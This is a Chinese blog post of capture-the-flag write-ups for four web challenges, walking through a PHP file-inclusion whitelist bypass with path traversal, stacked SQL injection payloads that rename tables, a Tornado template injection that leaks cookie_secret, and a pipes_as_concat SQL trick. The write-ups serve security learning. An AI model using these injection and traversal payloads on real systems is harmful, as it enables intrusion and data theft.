本篇内容:
[HCTF 2018]WarmUp
[强网杯 2019]随便注
[护网杯 2018]easy_tornado
[SUCTF 2019]EasySQL
上一篇 | 目录 | 下一篇
[HCTF 2018]WarmUp
一打开一个表情包,直接F12查看源代码,发现source.php。
访问发现如下代码:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
首先,要传入一个file参数。
1、file不为空
2、file值是字符串
3、经过emmm类里的checkFile方法后返回值为1
都成立的情况下就会包含(include)file。
分析checkFile方法。
有一个白名单
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
那就包含一下hint.php试试,发现flag in ffffllllaaaagggg。
接着往下看:
1、if判断中共有三个判断会return true。之前的payload:
source.php?file=hint.php
其实就是第一个判断的return true。但这里就无法包含我们想要的ffffllllaaaagggg文件。
2、那就试着满足第二个判断的return true,构造payload:
(1)source.php?file=hint.php?../../../../../ffffllllaaaagggg
(2)source.php?file=hint.php%3f../../../../../ffffllllaaaagggg
这里%3f就是?的url编码,由于浏览器会自动的解码一次,所以%3f就被解码为?了,和第一条没区别。
成功拿到flag。
这里能成功包含ffffllllaaaagggg文件是因为PHP将第一个斜杠/之前的视为了一个文件夹,
然后../逐级返回根路径下找ffffllllaaaagggg文件,../多写几个完全没有问题。
3、同样的,试着满足第三个判断的return true,构造payload:
source.php?file=hint.php%253f../../../../../ffffllllaaaagggg
这里%253f就是?的两次编码,经过浏览器一次url解码,php判断里的一次url解码后就变为?了,满足条件。
[强网杯 2019]随便注
访问网址
输入 1’ 报错, 1’# 显示正常,说明存在注入。
输入 1’ order by 2# 显示正常,输入 1’ order by 3# 报错。
输入 1’ union select 1,2# 返回一个正则过滤规则,几乎常用的字段都被过滤了。
尝试堆叠注入 1’;show databases# 成功回显:
得到两个表 1919810931114514
和 words
。
查words表里的字段:
1';show columns from words#
发现words表字段为id和data,这和最开始回显的内容对应。
猜测回显的就是words表里的内容。
再来看看1919810931114514 表的内容,数据库中全数字组成的表需要用反引号`括起来。
1';show columns from `1919810931114514`#
发现这张表有我们想要的flag。
回显的是words表里的id和data,那怎么取出1919810931114514
表里的flag呢?
骚操作:改名。
没有过滤alter
和rename
,那就将1919810931114514表改名为words,将flag字段改为id。
1、在MySQL中,RENAME语句修改表名。基本语法格式如下:
RENAME 旧表名 TO 新表名;
2、在MySQL中,ALTER TABLE语句修改数据表的字段名。基本语法格式如下:
ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;
最终payload:
1';rename table words to aaa;rename table `1919810931114514` to words;alter table words change flag id varchar(100);show columns from words;#
接着只要输入 1' or '1'='1
就能拿到flag。
[护网杯 2018]easy_tornado
访问网址:
点击/flag.txt
,说明flag在 /fllllllllllllag 里。
点击/welcome.txt
,render()函数是渲染函数,进行服务器端渲染。具体的我不咋懂,但是能想到的是模板注入。
点击/hints.txt
。
直接尝试一下访问/fllllllllllllag,
file?filename=/fllllllllllllag
发现网址跳转了,还发现了奇怪的参数。
reader()函数联想到模板注入,尝试一下:
尝试了±*/等符号,都被过滤了,异或^没被过滤,成功回显。
注意到之前访问/flag.txt
、/welcome.txt
、/hints.txt
页面时后头都带了md5值,然后/hints.txt给了如下信息:
md5(cookie_secret+md5(filename))
现在就要知道cookie_secret
怎么拿到,百度了一下发现是Tornado框架的附属文件handler.settings
中存在cookie_secret。
尝试一下:
error?msg={{handler.settings}}
cookie_secret为 bdc2d594-c0cc-4920-b52d-84c0decdb795 。
然后filename就是/fllllllllllllag了,进行md5加密后就是 3bf9f6cf685a6dd8defadabfb41a03a1 。
cookie_secret和filename拼接后再进行md5加密,值为 34ad8ee4e06e7d3f7283264d7a32d30c 。
尝试访问一下拿到最终flag:
file?filename=/fllllllllllllag&filehash=34ad8ee4e06e7d3f7283264d7a32d30c
[SUCTF 2019]EasySQL
访问网址:
尝试了一下,发现回显的就三种样子:
成功回显就会有存在Array字眼;
失败回显就是空;
被过滤了就是Nonono。
Fuzz模糊测试了一下,发现过滤了一大堆:
尝试了一下堆叠注入,成功回显:
1;show databases;
1;show tables;
1;show columns from tables;
该死的,查看了一下之前Fuzz的结果,发现from被过滤了。
啊啊啊,不会写,百度,发现原理是
select $_GET['query'] || flag from flag
还发现原来没有过滤*
,导致了非预期解。
预期解:
知识点:
PIPES_AS_CONCAT:将“||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数concat相类似。
在oracle 缺省支持 通过“||”来实现字符串拼接,但在mysql缺省不支持。需要调整mysql 的sql_mode 模式为pipes_as_concat。
所以payload如下:
1;set sql_mode=pipes_as_concat;select 1
自己还是太菜了,还需努力啊。
========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处。
本文网址:https://blog.csdn.net/hiahiachang/article/details/105411470
========================================================